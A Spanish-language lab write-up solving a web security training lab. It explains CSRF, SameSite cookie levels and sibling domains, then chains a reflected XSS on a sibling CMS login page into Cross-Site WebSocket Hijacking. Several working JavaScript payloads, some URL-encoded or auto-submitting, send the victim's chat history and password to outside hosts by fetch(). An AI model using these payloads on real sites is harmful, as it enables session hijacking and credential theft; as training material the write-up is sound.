Entrada

CSRF Lab 9

CSRF Lab 9

Skills

  • SameSite Strict bypass via sibling domain

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función de chat en vivo que es vulnerable a Cross-Site WebSocket Hijacking (CSWSH). Para resolver el laboratorio, debemos iniciar sesión en la cuenta de la víctima. Para lograrlo, usamos el servidor de explotación proporcionado para realizar un ataque CSWSH que exfiltre el historial de chat de la víctima al servidor predeterminado de Burp Collaborator. El historial de chat contiene las credenciales de inicio de sesión en texto plano


Resolución

Al acceder a la web vemos esto

Pulsamos sobre Live chat y vemos que tenemos un chat

Para resolver el laboratorio, debemos explotar un CSRF, el cual es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no tienen intención de realizar. Permite a un atacante eludir parcialmente la política de same origin, que está diseñada para evitar que diferentes sitios web interfieran entre sí. Para que sea posible un ataque CSRF, deben cumplirse tres condiciones clave

  • Una acción relevante - Hay una acción dentro de la aplicación que el atacante tiene motivos para inducir. Puede ser una acción privilegiada (como modificar los permisos de otros usuarios) o cualquier acción sobre datos específicos del usuario (como cambiar la contraseña del usuario)

  • Manejo de sesiones basado en cookies - Para realizar la acción, se deben emitir una o más solicitudes HTTP, y la aplicación se basa únicamente en las cookies de sesión para identificar al usuario que realizó las solicitudes. No existe ningún otro mecanismo para realizar el seguimiento de las sesiones o validar las solicitudes de los usuarios

  • Sin parámetros de solicitud impredecibles - Las solicitudes que realizan la acción no contienen ningún parámetro cuyos valores el atacante no pueda determinar o adivinar. Por ejemplo, al hacer que un usuario cambie su contraseña, la función no es vulnerable si un atacante necesita saber el valor de la contraseña existente

Las defensas más comunes contra ataques CSRF con las que nos podemos encontrar son las siguientes

  • Token CSRF - Es un token único, secreto e impredecible generado por el servidor y compartido con el cliente. Para realizar una acción sensible, como enviar un formulario, el cliente debe incluir este token. Esto dificulta que un atacante genere solicitudes válidas en nombre de la víctima

  • Cookies SameSite - SameSite es un mecanismo de seguridad del navegador que regula cuándo se incluyen las cookies en las solicitudes de otros sitios web. Dado que las solicitudes para realizar acciones sensibles suelen requerir una cookie válida, es decir, una cookie que haya sido asignada tras una autenticación válida, las restricciones que aplica SameSite pueden impedir que un atacante desencadene estas acciones. Desde 2021, Chrome aplica por defecto las restricciones Lax SameSite, dado que este es el estándar, se espera que otros navegadores también lo adopten

  • Validación basada en Referer - Algunas aplicaciones hacen uso de la cabecera HTTP Referer para intentar defenderse de ataques CSRF, normalmente verificando que la petición se originó en el propio dominio de la web. Esto suele ser menos efectivo que la validación de tokens CSRF

A diferencia del CSRF convencional, el Cross Site WebSocket Hijacking (CSWSH) permite al atacante interactuar bidireccionalmente con la aplicación vulnerable a través del WebSocket. Si la aplicación los mensajes enviados mediante WebSocket generados por el servidor para devolver datos confidenciales al usuario, el atacante puede interceptarlos y obtener sus datos

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que no hay ningún token que proteja contra CSRF

Si nos abrimos las herramientas de desarrollador de Chrome vemos que la única medida defensiva que tenemos es el atributo SameSite con el valor Strict

La diferencia entre un sitio web y un origen es su alcance. un sitio web abarca varios nombres de dominio, mientras que un origen solo incluye uno. Aunque están estrechamente relacionados, es importante no utilizar los términos indistintamente, ya que mezclarlos puede tener graves consecuencias para la seguridad. Se considera que dos URL tienen el mismo origen si comparten exactamente el mismo esquema, nombre de dominio y puerto

Como podemos ver en este ejemplo, el término sitio web es mucho menos específico, ya que solo tiene en cuenta el esquema y la última parte del nombre de dominio. Fundamentalmente, esto significa que una petición de origen cruzado (cross-origin) puede seguir siendo del mismo sitio web, pero no al revés. Esta es una distinción importante, ya que significa que cualquier vulnerabilidad que permita la ejecución de código JavaScript puede ser utilizada para eludir las defensas del sitio web en otros dominios que pertenecen al mismo sitio web

Antes de que se introdujera el mecanismo SameSite, los navegadores enviaban cookies en cada solicitud al dominio que las emitía, incluso si la solicitud era originada por un sitio web de un tercero que no estáno relacionado con el sitio web. SameSite funciona permitiendo que los navegadores y los propietarios de sitios web limiten qué solicitudes entre sitios, si es que hay alguna, deben incluir ciertas cookies. Esto puede ayudar a reducir la exposición de los usuarios a los ataques CSRF, que inducen al navegador de la víctima a emitir una solicitud que desencadena una acción perjudicial en el sitio web vulnerable. Dado que estas solicitudes generalmente requieren una cookie asociada con la sesión autenticada de la víctima, el ataque fallará si el navegador no la incluye. Todos los navegadores más importantes actualmente soportan los siguientes niveles de restricción de SameSite

  • Strict - Si una cookie se establece con el atributo SameSite=Strict, los navegadores no la enviarán en ninguna solicitud entre sitios web. Esto significa que si el sitio objetivo de la solicitud no coincide con el sitio web que se muestra actualmente en la URL del navegador no se incluirá la cookie. Esto se recomienda cuando se configuran cookies que permiten al usuario modificar datos o realizar acciones sensibles, como acceder a páginas que solo están disponibles para usuarios autenticados

  • Lax - Las restricciones SameSite=Lax significan que los navegadores enviarán la cookie en solicitudes entre sitios web, pero solo si la solicitud utiliza el método GET y si la solicitud es el resultado de una navegación de nivel superior, es decir, que requiere interacción por parte del usuario, como hacer click en un enlace. Esto significa que la cookie no se incluirá en solicitudes POST entre sitios web, por ejemplo. Dado que las solicitudes POST generalmente se utilizan para realizar acciones que modifican datos o el estado (al menos según las mejores prácticas), son mucho más propensas a ser el objetivo de ataques CSRF. De igual manera, la cookie no se incluirá en solicitudes en segundo plano, como aquellas iniciadas por scripts, iframes o referencias a imágenes y otros recursos

  • None - Si una cookie se establece con el atributo SameSite=None, esto desactiva las restricciones SameSite por completo independientemente del navegador. Como resultado, los navegadores enviarán esta cookie en todas las solicitudes al sitio web que la emitió, incluso aquellas que fueron originadas por sitios web de terceros no relacionados con el sitio web principal. Con la excepción de Chrome, este es el comportamiento predeterminado utilizado por los navegadores más famosos si no se proporciona un atributo SameSite al configurar la cookie. Existen razones legítimas para deshabilitar SameSite, como cuando la cookie está destinada a ser utilizada desde un contexto de terceros y no otorga al usuario acceso a datos o funcionalidades sensibles, un ejemplo, serían las tracking cookies. Si nos encontramos con una cookie configurada con SameSite=None o sin restricciones explícitas, vale la pena investigar si tiene algún propósito. Cuando el comportamiento Lax fue adoptado por Chrome rompió algunas funcionalidades en las webs. Como solución rápida, algunos sitios web optaron por desactivar las restricciones SameSite en todas las cookies, incluidas las potencialmente sensibles. Al configurar una cookie con SameSite=None, el sitio web también debe incluir el atributo Secure, lo que garantiza que la cookie solo se enviará en mensajes encriptados a través de HTTPS. De lo contrario, los navegadores rechazarán la cookie y `no se seteará

Es esencial tener en cuenta que una solicitud aún puede ser del mismo sitio web incluso si se emite desde un cross-origin, es decir, una solicitud que se realiza desde un dominio diferente al de la página web que se está visitando

Debemos auditar exhaustivamente toda la superficie de ataque disponible, incluidos los sibling domains. Un sibling domain es una réplica exacta de un main domain, en todos los aspectos excepto en el nombre del dominio en sí. El main domain y el sibling domain deben tener el mismo host de correo, las mismas listas de cuentas de correo, alias, configuraciones de filtrado de spam, y demás. Por ejemplo, yourcompany.com puede ser un main domain, mientras que yourcompany.net puede ser un sibling domain, en ese caso, cuando se envíe el mensaje dirigido a una dirección en yourcompany.net, lo tratará exactamente como si el mensaje hubiera sido enviado a la misma dirección en yourcompany.com

En particular, las vulnerabilidades que permiten provocar una solicitud secundaria, como XSS, pueden comprometer completamente las defensas del sitio web, exponiendo todos los dominios del sitio a ataques cross-origin

Además del CSRF clásico, si el sitio web de destino es compatible con WebSockets, esta funcionalidad podría ser vulnerable a Cross-Site WebSocket Hijacking (CSWSH), que es esencialmente un ataque CSRF dirigido al handshake del WebSocket

Si escribimos texto en el Live chat y le enviamos un READY al servidor, este nos devolverá todo el historial de chats porque están asociados a nuestra cookie

Esto lo podemos ver más claramente si mandamos la petición al Repeater y la tramitamos

También vemos que el Live chat carga un archivo JavaScript

Vemos que está consultando a un sibling domain, la cabecera Access-Control-Allow-Origin nos está diciendo que el dominio https://cms-0ae500ec0486aad482b7f65100c4004b.web-security-academy.net está autorizado y por lo tanto no le afecta la restricción del atributo SameSite Strict de la cookie. Si accedemos al dominio nos redirige a un panel de login

Vemos que se refleja el input del username en la web

Hemos logrado inyectar código HTML, usando el payload <h1>test</h1>

Si intentamos un XSS usando el payload <script>alert(3)</script> vemos que da resultado

Si accedemos a /resources/js/chat.js en cualquiera de los dos dominios podemos ver el archivo completo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
(function () {
    var chatForm = document.getElementById("chatForm");
    var messageBox = document.getElementById("message-box");
    var webSocket = openWebSocket();

    messageBox.addEventListener("keydown", function (e) {
        if (e.key === "Enter" && !e.shiftKey) {
            e.preventDefault();
            sendMessage(new FormData(chatForm));
            chatForm.reset();
        }
    });

    chatForm.addEventListener("submit", function (e) {
        e.preventDefault();
        sendMessage(new FormData(this));
        this.reset();
    });

    function writeMessage(className, user, content) {
        var row = document.createElement("tr");
        row.className = className

        var userCell = document.createElement("th");
        var contentCell = document.createElement("td");
        userCell.innerHTML = user;
        contentCell.innerHTML = (typeof window.renderChatMessage === "function") ? window.renderChatMessage(content) : content;

        row.appendChild(userCell);
        row.appendChild(contentCell);
        document.getElementById("chat-area").appendChild(row);
    }

    function sendMessage(data) {
        var object = {};
        data.forEach(function (value, key) {
            object[key] = htmlEncode(value);
        });

        openWebSocket().then(ws => ws.send(JSON.stringify(object)));
    }

    function htmlEncode(str) {
        if (chatForm.getAttribute("encode")) {
            return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
                var lookup = {'\\': '&#x5c;', '\r': '&#x0d;', '\n': '&#x0a;', '"': '&quot;', '<': '&lt;', '>': '&gt;', "'": '&#39;', '&': '&amp;'};
                return lookup[c];
            });
        }
        return str;
    }

    function openWebSocket() {
       return new Promise(res => {
            if (webSocket) {
                res(webSocket);
                return;
            }

            let newWebSocket = new WebSocket(chatForm.getAttribute("action"));

            newWebSocket.onopen = function (evt) {
                writeMessage("system", "System:", "No chat history on record");
                newWebSocket.send("READY");
                res(newWebSocket);
            }

            newWebSocket.onmessage = function (evt) {
                var message = evt.data;

                if (message === "TYPING") {
                    writeMessage("typing", "", "[typing...]")
                } else {
                    var messageJson = JSON.parse(message);
                    if (messageJson && messageJson['user'] !== "CONNECTED") {
                        Array.from(document.getElementsByClassName("system")).forEach(function (element) {
                            element.parentNode.removeChild(element);
                        });
                    }
                    Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
                        element.parentNode.removeChild(element);
                    });

                    if (messageJson['user'] && messageJson['content']) {
                        writeMessage("message", messageJson['user'] + ":", messageJson['content'])
                    } else if (messageJson['error']) {
                        writeMessage('message', "Error:", messageJson['error']);
                    }
                }
            };

            newWebSocket.onclose = function (evt) {
                webSocket = undefined;
                writeMessage("message", "System:", "--- Disconnected ---");
            };
        });
    }
})();

Usando el archivo anterior como plantilla, vamos a construirnos un pequeño payload que nos permita tramitar una petición al Live chat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
    <body>
        <script>
            var webSocket = new WebSocket('wss://0ae5003804c578d380f0172500c9009c.web-security-academy.net/chat');

            webSocket.onopen = function() {
                webSocket.send("READY");
            };

            webSocket.onmessage = function(event) {
                var message = event.data;
                fetch('https://exploit-0ab000e304bb78ce80481698015c007f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
            };
        </script>
    </body>
</html>

Nos abrimos el Exploit server y pegamos el payload

Debemos pulsar en Deliver exploit to victim y después de eso en Access log, veremos que hemos recibido una petición con un mensaje en base64

Para el ver el mensaje nos dirigimos al Decoder de Burpsuite y decodeamos el base64

Esto también lo podemos hacer usando Burpsuite Collaborator, para ello lo primero en irnos a Collaborator y pulsar en Copy to clipboard

Una vez hecho esto creamos este payload y lo pegamos en el Exploit server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
    <body>
        <script>
            var webSocket = new WebSocket('wss://0ae6009604b0af07829c985600e500c6.web-security-academy.net/chat');

            webSocket.onopen = function() {
                webSocket.send("READY");
            };

            webSocket.onmessage = function(event) {
                fetch('https://ridae4ksfhiwltligy2c4ohnze56twhl.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
            };
        </script>
    </body>
</html>

Pulsamos en Deliver exploit to victim y en el apartado de Collaborator si pulsamos sobre Poll now recibiremos varias solicitudes

La solicitud HTTP viene con este contenido, sin embargo, estamos usando una nueva sesión en el Live chat, por eso recibimos solo un mensaje. No podemos obtener el chat completo debido al atributo de la cookie SameSite Strict

Para obtener el chat completo, debemos encontrar una manera de bypassear la seguridad proporcionada por el atributo SameSite Strict de la cookie para llevar a cabo un Cross Site WebToken Hijacking (CSWTH)

Como hemos encontrado un XSS en un sibling domain, podemos utilizarlo para bypassear la restricción de SameSite Strict. Esto se debe a que cuando hacemos las peticiones entre sibling domains, se envían las cookies. No tenemos acceso a la cookie, pero sí que se transmite, y podemos usarla para explotar un CSRF

Lo primero que tenemos que hacer es URL encodear el payload anterior usando el Decoder de BurpSuite

1
2
3
4
5
6
7
8
9
10
11
<script>
    var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');

    webSocket.onopen = function() {
        webSocket.send("READY");
    };

    webSocket.onmessage = function(event) {
        fetch('https://turvsl20lidgjezs09fw8s5z1q7hvajz.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Si pulsamos click derecho > Change request method vemos que también podemos enviar la solicitud de login usando el método GET

Posteriormente nos debemos crear este otro payload

1
2
3
4
5
6
7
<html>
    <body>
        <script>
            document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6a%37%72%6c%35%62%66%71%79%38%71%36%77%34%63%69%64%7a%73%6d%6c%69%69%70%65%67%6b%38%38%79%77%6e%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

Si nos dirigimos a Burpsuite Collaborator y pulsamos sobre Pull now recibiremos varias peticiones por HTTP entre las cuales estará la contraseña del usuario carlos

También podemos usar este exploit

1
2
3
4
5
6
7
8
9
10
11
12
<script>
    var webSocket = new WebSocket('wss://0a02002b038d819781de438e00860086.web-security-academy.net/chat');

    webSocket.onopen = function() {
        webSocket.send("READY");
    };

    webSocket.onmessage = function(event) {
        var message = event.data;
        fetch('https://exploit-0a6300d403ca81a881bc4223010500de.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
    };
</script>

URL encodeamos el payload

Construimos un payload

1
2
3
4
5
6
7
<html>
    <body>
        <script>
            document.location = 'https://cms-0a02002b038d819781de438e00860086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%65%62%53%6f%63%6b%65%74%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%32%30%30%32%62%30%33%38%64%38%31%39%37%38%31%64%65%34%33%38%65%30%30%38%36%30%30%38%36%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%0a%20%20%20%20%77%65%62%53%6f%63%6b%65%74%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%65%6e%74%2e%64%61%74%61%3b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%33%30%30%64%34%30%33%63%61%38%31%61%38%38%31%62%63%34%32%32%33%30%31%30%35%30%30%64%65%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6c%6f%67%3d%27%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%47%45%54%27%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=test';
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

Si nos vamos al Access log vemos que hemos recibido varias peticiones en base64

Si nos copiamos estas cadenas en el Decoder de BurpSuite, obtenemos la contraseña del usuario carlos

Otra forma alternativa es usando un formulario. Es importante no URL encodear el value de username, si lo hacemos, no funcionará el payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
    <body>
        <form action="https://cms-0ab000980478d98983e565b8006300a1.web-security-academy.net/login" method="POST">
            <input type="hidden" name="username" value="<script>
                var webSocket = new WebSocket('wss://0ab000980478d98983e565b8006300a1.web-security-academy.net/chat');
                webSocket.onopen = function() {
                    webSocket.send('READY');
                };
                webSocket.onmessage = function(event) {
                    var message = event.data;
                    fetch('https://exploit-0a4b00930450d90983516446017f008f.exploit-server.net/exploit?log=' + btoa(message), {method: 'GET'});
                };
            </script>">
            <input type="hidden" name="password" value="test">
        </form>

        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

Si nos vamos al Access log vemos que hemos recibido varias peticiones en base64

Nos pegamos las cadenas en base64 en el Decoder de BurpSuite y obtenemos la contraseña de carlos

La alternativa con Burpsuite Collaborator sería esta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
    <body>
        <form action="https://cms-0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/login" method="POST">
            <input type="hidden" name="username" value="<script>
                var webSocket = new WebSocket('wss://0a0100980343b3ed815af2f0004d00bd.web-security-academy.net/chat');
                webSocket.onopen = function() {
                    webSocket.send('READY');
                };
                webSocket.onmessage = function(event) {
                    var message = event.data;
                    fetch('https://h9rj79ho06s4y2egfxukngkngemaa2yr.oastify.com', {method: 'POST', mode: 'no-cors', body: message});
                };
            </script>">
            <input type="hidden" name="password" value="test">
        </form>

        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Nos dirigimos al Exploit server, pegamos el payload y pulsamos sobre Deliver exploit to victim

En el apartado de Collaborator si pulsamos sobre Poll now recibiremos varias peticiones. Si miramos el contenido de las peticiones podremos ver todo el historial del Live chat del usuario carlos, incluida su contraseña

Nos logueamos con las credenciales del usuario carlos y completamos el laboratorio

Esta entrada está licenciada bajo CC BY 4.0 por el autor.